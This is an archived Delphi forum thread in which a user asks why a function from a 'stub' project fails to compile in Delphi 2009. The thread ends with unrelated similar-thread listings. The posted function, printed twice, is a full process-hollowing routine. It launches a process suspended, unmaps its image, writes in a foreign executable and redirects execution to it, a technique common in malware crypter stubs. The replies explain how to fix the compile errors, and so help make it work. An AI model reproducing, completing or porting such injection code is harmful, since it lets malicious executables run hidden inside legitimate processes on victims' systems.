cant compile code from 2007 in my delphi 2009 [ error 2010]

hi all 

when i am compiling a source code of  delphi 2007 in my delphi 2009 

i am getting this errors 

*[DCC Error] Functions.pas(112): E2010 Incompatible types: 'Char' and 'AnsiChar'*
*[DCC Error] Functions.pas(112): E2010 Incompatible types: 'Char' and 'AnsiChar'*
*[DCC Error] Functions.pas(113): E2010 Incompatible types: '_STARTUPINFOA' and '_STARTUPINFOW'*
*[DCC Fatal Error] stub.dpr(10): F2063 Could not compile used unit 'Functions.pas'*

my function is 

function MemoryExecute(Buffer: Pointer; ProcessName, Parameters: String; Visible: Boolean): Boolean;
var
  ProcessInfo           :TProcessInformation;
  StartupInfo           :TStartupInfo;
  Context               :TContext;
  BaseAddress           :Pointer;
  BytesRead             :DWORD;
  BytesWritten          :DWORD;
  I                     :ULONG;
  OldProtect            :ULONG;
  NTHeaders             :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success               :Boolean;
begin
  Result := False;

  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);

  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.wShowWindow := Word(Visible);

  if (CreateProcessA(PChar(ProcessName), PChar(Parameters), NIL, NIL,
                    False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then // _*error occured at this line .*_
  begin
    Success := True;

    try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
         (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
         (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
         (Assigned(Buffer))) Then
         Begin
           NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
           BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                          Pointer(NTHeaders.OptionalHeader.ImageBase),
                                          NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                          PAGE_READWRITE);
           If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
              Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));

                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                         Pointer(Cardinal(BaseAddress) +
                                                 Sections[I].VirtualAddress),
                                         Pointer(Cardinal(Buffer) +
                                                 Sections[I].PointerToRawData),
                                         Sections[I].SizeOfRawData, BytesWritten)) Then
                     VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[I].VirtualAddress),
                                      Sections[I].Misc.VirtualSize,
                                      Protect(Sections[I].Characteristics),
                                      OldProtect);

                If (WriteProcessMemory(ProcessInfo.hProcess,
                                       Pointer(Context.Ebx + 8), @BaseAddress,
                                       SizeOf(BaseAddress), BytesWritten)) Then
                   Begin
                     Context.Eax := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;
                     Success := SetThreadContext(ProcessInfo.hThread, Context);
                   end;
              end;
         end;
    finally
      if (not Success) then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
      Result := Success;
    end;
  end;
end;

end.
0
inn0vation
7/25/2009 3:54:01 PM
embarcadero.delphi.rtl 934 articles. 0 followers. Follow

3 Replies
1488 Views

Similar Articles

[PageSpeed] 0
Get it on Google Play
Get it on Apple App Store

> {quote:title=inn0vation nick wrote:}{quote}
>   if (CreateProcessA(PChar(ProcessName), PChar(Parameters), NIL, NIL,
>                     False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then // _*error occured at this line .*_
As PChar is no more AnsiString in Delphi 2009 you have to use *CreateProcessW* or *CreateProcess* instead of CreateProcessA

Regards,
Benoît
--
http://www.codeppc.com/telechargements/themegence/themegence.htm
http://www.codeppc.com/telechargements/msceinf/msceinf.htm
0
benoit
7/25/2009 4:06:34 PM
inn0vation nick wrote:

> hi all 
> 
> when i am compiling a source code of  delphi 2007 in my delphi 2009 
> 
> i am getting this errors 
> 
> *[DCC Error] Functions.pas(112): E2010 Incompatible types: 'Char' and
> 'AnsiChar'* *[DCC Error] Functions.pas(112): E2010 Incompatible
> types: 'Char' and 'AnsiChar'* *[DCC Error] Functions.pas(113): E2010
> Incompatible types: '_STARTUPINFOA' and '_STARTUPINFOW'* *[DCC Fatal
> Error] stub.dpr(10): F2063 Could not compile used unit
> 'Functions.pas'*
> 
> my function is 
> 
> function MemoryExecute(Buffer: Pointer; ProcessName, Parameters:
> String; Visible: Boolean): Boolean; var
>   ProcessInfo           :TProcessInformation;
>   StartupInfo           :TStartupInfo;
>   Context               :TContext;
>   BaseAddress           :Pointer;
>   BytesRead             :DWORD;
>   BytesWritten          :DWORD;
>   I                     :ULONG;
>   OldProtect            :ULONG;
>   NTHeaders             :PImageNTHeaders;
>   Sections              :PImageSectionHeaders;
>   Success               :Boolean;
> begin
>   Result := False;
> 
>   FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
>   FillChar(StartupInfo, SizeOf(TStartupInfo),        0);
> 
>   StartupInfo.cb := SizeOf(TStartupInfo);
>   StartupInfo.wShowWindow := Word(Visible);
> 
>   if (CreateProcessA(PChar(ProcessName), PChar(Parameters), NIL, NIL,
>                     False, CREATE_SUSPENDED, NIL, NIL, StartupInfo,
> ProcessInfo)) Then // _*error occured at this line .*_   begin
>     Success := True;
> 
>     try
>       Context.ContextFlags := CONTEXT_INTEGER;
>       If (GetThreadContext(ProcessInfo.hThread, Context) And
>          (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx
> + 8),                             @BaseAddress, SizeOf(BaseAddress),
> BytesRead)) And          (ZwUnmapViewOfSection(ProcessInfo.hProcess,
> BaseAddress) >= 0) And          (Assigned(Buffer))) Then
>          Begin
>            NTHeaders    := PImageNTHeaders(Cardinal(Buffer) +
> Cardinal(PImageDosHeader(Buffer)._lfanew));            BaseAddress
> := VirtualAllocEx(ProcessInfo.hProcess,
> Pointer(NTHeaders.OptionalHeader.ImageBase),
> NTHeaders.OptionalHeader.SizeOfImage,
> MEM_RESERVE or MEM_COMMIT,
> PAGE_READWRITE);            If (Assigned(BaseAddress)) And
>               (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress,
> Buffer,
> NTHeaders.OptionalHeader.SizeOfHeaders,
> BytesWritten)) Then               Begin
>                 Sections :=
> PImageSectionHeaders(ImageFirstSection(NTHeaders));
> 
>                 For I := 0 To NTHeaders.FileHeader.NumberOfSections
> -1 Do                   If (WriteProcessMemory(ProcessInfo.hProcess,
> 
> Pointer(Cardinal(BaseAddress) +
> Sections[I].VirtualAddress),
> Pointer(Cardinal(Buffer) +
> Sections[I].PointerToRawData),
> Sections[I].SizeOfRawData, BytesWritten)) Then
> VirtualProtectEx(ProcessInfo.hProcess,
> Pointer(Cardinal(BaseAddress) +
> Sections[I].VirtualAddress),
> Sections[I].Misc.VirtualSize,
> Protect(Sections[I].Characteristics),
> OldProtect);
> 
>                 If (WriteProcessMemory(ProcessInfo.hProcess,
>                                        Pointer(Context.Ebx + 8),
> @BaseAddress,
> SizeOf(BaseAddress), BytesWritten)) Then                    Begin
>                      Context.Eax := ULONG(BaseAddress) +
> 
> NTHeaders.OptionalHeader.AddressOfEntryPoint;
> Success := SetThreadContext(ProcessInfo.hThread, Context);
> end;               end;
>          end;
>     finally
>       if (not Success) then
>         TerminateProcess(ProcessInfo.hProcess, 0)
>       else
>         ResumeThread(ProcessInfo.hThread);
>       Result := Success;
>     end;
>   end;
> end;
> 
> end.

You either change all the paramateres and type casts from 
1) string to ansistring 
2) Pchar to PAnsiChar 

or stop using the CreateProcessA (ansi compatible) and start using the
CreateProcessW (unicode compatible).

regards
Jo
--
0
kostas
7/25/2009 4:25:27 PM
*thanks guys :)*
0
inn0vation
7/25/2009 6:16:49 PM
Reply:

Similar Artilces:

Code Porting
Hi people, Basically, I am moving an app from Delphi 5 to Delphi 2009 which is all great (yeah right!) and I am having a couple of issues with some thirdparty components that we have the source code for. Being that I wanted to make the task as easy as possible, I was able to download the component in Delphi 2007 format. I have now managed to port that to 2009 so it compiles only with warnings and no errors. So all is good at this moment. Now I am trying to install the component into the IDE by using the install menu option from the project manager. This is where I run into errors. ...

Is it worth to move my code from Delphi 2009 to Delphi 2010?
Hi guys, we are working on Delphi 2009 till this day because we do not have the time to upgrade our code to the newest version. There is always something more important (features, bugs...) and our code has 2+ million lines. I thought that instead of moving from D2009 to XE7 I could atleast move code to D2010 because it is more or less backward compatible and it shouldn't take me that much of a work. I wanted to ask you about your opinion. Is it a good version to move to? Regards. Dimitrij wrote: > I thought that instead of moving from D2009 to XE7 I could atleast > move ...

Best practice when code should still compile with elder versions of Delphi but also Delphi 2009
When tryung to compile Turbopower Orpheus and other Turbopower products which I still use in my applications and therefor need to convert to Delphi 2009, I get lots of warnings even though others has made it possible to get Orpheus compiled. The problem is checking a char in a set which gives a type cast warning and suggests using a new function instead. [DCC Warning] ovcdbnum.pas(401): W1050 WideChar reduced to byte char in set expressions. Consider using 'CharInSet' function in 'SysUtils' unit. So what would be the best practice here eg. correcting this ro...

delphi 2006 code in delphi 2010
hello, is there any option to make delphi 2006 code work in delphi 2010? something like in java IDEs where you can define the code level you like to use? the problem is, that i made a project with 2006 and sent it to my customer. they got 2010 and it compiles fine, but it just doesn't work. it deals with en-/decryption of text, we assumed, that it has something to do with ansi vs. unicode strings... but we cant find the exact position where the error occurs. i am a bit dissapointed, because everywhere i read that the new IDE will always be downwards compatible and so on.. but in ...

Nice, Delphi XE includes free access to earlier version licenses and downloads for Delphi 2010, 2009, 2007 and 7.
Looking at the details for Delphi XE Professional while checking the prices etc and found the above as part of a paragraph. "Delphi XE includes free access to earlier version licenses and downloads for Delphi 2010, 2009, 2007 and 7. Details will be included with your order confirmation email and in the product readme." Very nice bonus! Brian > {quote:title=Brian Evans wrote:}{quote} > Looking at the details for Delphi XE Professional while checking the > prices etc and found the above as part of a paragraph. > > "Delphi XE includes free acce...

Delphi 2007 RTL in Delphi 7
I read somewhere that it is possible to use Delphi 2007's (or for that matter Delphi 2006's) RTL in Delphi 7 by just recompiling the source of RTL. Is this really possible? What are the benefits that we can derive using a higher version's RTL? TIA Yogi Yang Yogi Yang wrote: > I read somewhere that it is possible to use Delphi 2007's (or for > that matter Delphi 2006's) RTL in Delphi 7 by just recompiling the > source of RTL. If it actually compiles in Delphi 7, I guess it would be possible. OTOH, if one has Delphi 2007 already, I don't s...

Delphi 2007 to Delphi 2009 Conversion
CharArrayPtr = ^CharArray; CharArray = array[0..MaxInt-1] of Char; How to convert to Delphi 2009? Bill Bill Miller wrote: > CharArrayPtr = ^CharArray; > CharArray = array[0..MaxInt-1] of Char; > > How to convert to Delphi 2009? > > Bill it depends heavelly on how it is used fearther down in your project and what you want to convert it to. I you want to simple convert the declarations ignoring UNicode altogether then the only think you have to change is the CharArray declaratin from a Char to an AnsiChar eg CharArrayPtr = ^CharArray; CharArray =...

Delphi 2009 alongside Delphi 2007
Hi all, I am about to install Delphi 2009 on the same development system as Delphi 2007, before I embark is there anything I should be aware of so as to not break my Delphi 2007 installation and projects ? Thanks JT John Taylor wrote: > Hi all, > > I am about to install Delphi 2009 on the same development system > as Delphi 2007, before I embark is there anything I should be aware > of so as to not break my Delphi 2007 installation and projects ? As long as you install into a separate folder there is no problem with the two versions getting into each other...

is there a Delphi 2007
Would be nice to have a bundle of the latest Delphi packages. Gilbert Padilla wrote: > Would be nice to have a bundle of the latest Delphi packages. > I expect Delphi 2007 will only be on sale until the full RAD Studio 2009 edition is published, including Delphi 2009.net. W ...

Delphi 2010 w Delphi 2007
I have D2007 installed on my laptop (XP sp3 running on dual core Athlon). Can I install D2010 on this machine without it affecting D2007? Will D2010 affect D2007 in any way? Thanks, Randall Carpenter > {quote:title=Randall Carpenter wrote:}{quote} > I have D2007 installed on my laptop (XP sp3 running on dual core Athlon). > Can I install D2010 on this machine without it affecting D2007? Will D2010 > affect D2007 in any way? Won't hurt a thing. I have D7, RAD Studio 2007, RAD Studio 2009, and RAD Studio 2010 all on my desktop system and they coexist fine. Jus...

Migrate from Delphi 2007 to Delphi 2010
Hi All, Thanks in advance for your help. Below is my query, Currently I am using Delphi 2007 and i want to migrate to Delphi 2010. 1. What all things i need to take care while doing this? 2. What all third party components will get impacted? 3. Any known issues in Delphi 2010 which might impact the cause? 4. Any changes in database operation required as i am using Oracle? Hope I have post this query under correct category. If not sorry for the trouble and could you please suggest me the correct category for this? Looking forward for your response. Have a great day. Th...

[Delphi 2007] Fake code-errors in Code-Editor
Hi, I'm facing following problem: sometimes (w/o visible reason) IDE marks portions of my unit's code as erroneous (mostly "undeclared identifier" in "structure" window) despite code is OK. It's enough to delete one empty line from the code and everything backs to normal. Of course despite of error messages code compiles sucessfully. Anyone faced such behaviour ? My version is 11.0.2902.10471 wirh dec 2007 update installed ,OS is XP SP3 Thanks in advance Mati. Mateusz Kaleta wrote : > I'm facing following problem: sometimes (w/o visi...

Why does this work fine in Delphi 2009, but not in Delphi 2010
I've been racking my head trying to figure this out and can't understand what is wrong, TFileStream.ReadComponentRes fails when I try to read a component containing a record, it works fine in Delphi 2009 and Delphi 2007, but fails with Delphi 2010 Here is the unit source and DFM *+//UnitSource+* unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TThresholdMode = (tm0,tm1,tm2,tm3,tm4,tm5); TThreshold = Record Mode:TThresholdMode; Filter,Start,Stop:Integer; end; ...

Delphi 2009 compiled code
Hi All How safe is Delphi 2009 compiled code. Can my exe be decompiled? Thanks Godfrey "Godfrey Fletcher" <none> wrote in message news:217291@forums.codegear.com... > > How safe is Delphi 2009 compiled code. Can my exe be decompiled? No different than any other Delphi version, it is easy to extract class and published property names, but otherwise is not going to be decompiled into its original source code or anything close. *Any* executable can be decompiled into assembler level code. -- Wayne Niddery (TeamB) Wayne Niddery schrieb: >...

Web resources about - cant compile code from 2007 in my delphi 2009 [ error 2010] - embarcadero.delphi.rtl

Compile time - Wikipedia, the free encyclopedia
In computer science , compile time refers to either the operations performed by a compiler (the "compile-time operations"), programming language ...

Information Is Power: Facebook Develops ThreatData To Compile Data On Web Threats
Part of being able to combat malware, phishing, and other online threats is gathering and consolidating as much data on those threats as possible, ...

Credit Suisse compiles yuan winners and losers list: report
... the lowers. A list of Australian winners and losers from the decision by China’s government to devalue the renminbi has reportedly been compiled ...

Beijing residents compile own death toll in flooding
Beijing residents fed up with a lack of official updates are compiling their own death tolls for last weekend's deadly floods in the capital, ...

New report compiles 25 years of UFO sightings in Canada
A Winnipeg group called Ufology Research has compiled and analyzed reported sightings of UFOs across Canada over the last 25 years.

China to compile new edition of cancer atlas
China to compile new edition of cancer atlas People's Daily Online ... Chinese Academy of Sciences and Chinese Center for Disease Control and ...

Googlers compile holiday search tips in rap video to help Santa with flight
Google is in full holiday swing (what, you haven't heard?). They just posted, on YouTube, a rap video that was put together by its employees, ...

Popular Dating Site Compiles 15 Stupid Reasons To Date A Lawyer
A new listicle describes a really horrible person to date and then says, "We think lawyers are probably this awful, go date them!"

Vice Magazine Compiles Powerful ‘Prison Issue’
Vice Magazine Compiles Powerful ‘Prison Issue’

Japan, China compile written pledge to improve ties ahead of summit
Japan and China reached a rare written agreement on Nov. 7 to improve relations strained by a territorial dispute over the Senkaku Islands in ...

Resources last updated: 12/6/2015 10:15:46 PM